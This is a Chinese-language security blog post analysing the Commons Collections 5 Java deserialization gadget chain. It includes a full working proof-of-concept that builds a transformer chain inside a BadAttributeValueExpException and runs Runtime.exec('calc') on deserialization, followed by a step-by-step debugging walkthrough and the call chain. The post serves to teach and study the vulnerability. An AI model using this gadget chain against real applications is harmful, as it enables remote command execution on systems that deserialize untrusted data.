Java安全之Commons Collections5分析

nice_0e3發表於2020-10-28

Java安全之Commons Collections5分析

文章首發:Java安全之Commons Collections5分析

0x00 前言

在後面的幾條CC鏈中,如果和前面的鏈構造都是基本一樣的話,就不細講了,參考一下前面的幾篇文。

在CC5鏈中ysoserial給出的提示是需要JDK1.8並且SecurityManager需要是關閉的。先來介紹一下SecurityManager是幹嘛的。SecurityManager也就是java的安全管理器,當執行未知的Java程式的時候,該程式可能有惡意程式碼(刪除系統檔案、重啟系統等),為了防止執行惡意程式碼對系統產生影響,需要對執行的程式碼的許可權進行控制,這時候就要啟用Java安全管理器。該管理器預設是關閉的。

0x01 POC分析

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

前面的上半段和CC1鏈是一模一樣的,主要來分析在這兩者中不同的部分。

HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

前面的new了一個HashMap傳入到LazyMap裡面,同時也傳入了 ChainedTransformer例項化物件,當呼叫get方法的時候,就會呼叫到 ChainedTransformertransformf方法,這個沒啥好說的,老面孔了。前面也分析過好幾回了。主要的是下面的這一段程式碼。

 TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

TiedMapEntry是一個新生面孔,來檢視一下該類原始碼。

該類的構造方法需要2個引數。所以我們的POC程式碼中,傳入了一個LazyMap例項化物件和一個123的字元做佔位。

而在getValue方法裡面就會去呼叫到剛剛賦值的map類get方法。前面我們傳入的是LazyMap物件,這時候呼叫get方法的話,就和前面的串聯起來達成命令執行了。這裡先不做分析,來到下一步,檢視一下,哪個地方會呼叫到該方法。

而在toString方法裡面就會去呼叫到getValue方法。

 BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

再來看下面一段程式碼,new了一個BadAttributeValueExpException的物件,並且反射獲取val的值,將val的值設定為TiedMapEntry例項化物件。

BadAttributeValueExpExceptionreadObject方法會獲取到val的值,然後賦值給valObj變數,然後呼叫valObjtoString方法。

0x02 CC5鏈除錯

readObject複寫點打個斷點,也就是BadAttributeValueExpExceptionreadObject方法。

上面斷點的地方會去獲取val的值,賦值給valObj,前面我們使用反射將val設定為TiedMapEntry的物件。

這裡會去呼叫valObjtoString方法,也就是TiedMapEntrytoString方法。跟進一下該方法,檢視呼叫。

這裡面會去呼叫getKeygetValue方法,這裡選擇跟蹤getValue方法。

這裡的this.mapLazyMap例項化物件,是在建立TiedMapEntry物件的時候傳參進去的。再跟進一下get方法就和前面除錯CC1鏈的步驟一樣了。

這裡會去呼叫this.factorytransform,也就是ChainedTransformertransform。再來跟進一下。

接著就是遍歷呼叫陣列裡面的transform方法。第一個值為ConstantTransformer,會直接返回傳參的值。

這裡返回的是Runtime,將該值傳入第二次的引數裡面呼叫transform方法。

第二次遍歷的值是InvokerTransformer物件, 這裡的transform方法會反射去獲取方法並且進行執行。第二次執行返回的是Runtime.getRuntime的例項化物件。再傳入到第三次執行的引數裡面去執行。

第三次去執行則是獲取返回他的invoke方法,傳入給第四次執行的引數裡面。

第四次執行裡面的this.iMethodNameexec,this.iArgscalc。執行完成這一步過後就會去執行我們設定好的命令,也就是calc。彈出計算器。

呼叫鏈

BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec

0x03 結尾

其實在該鏈的後面中,並沒有寫太詳細,因為後面和CC1鏈中的都是一模一樣的。如果沒有去除錯過的話,建議先去除錯一下CC1的鏈

相關文章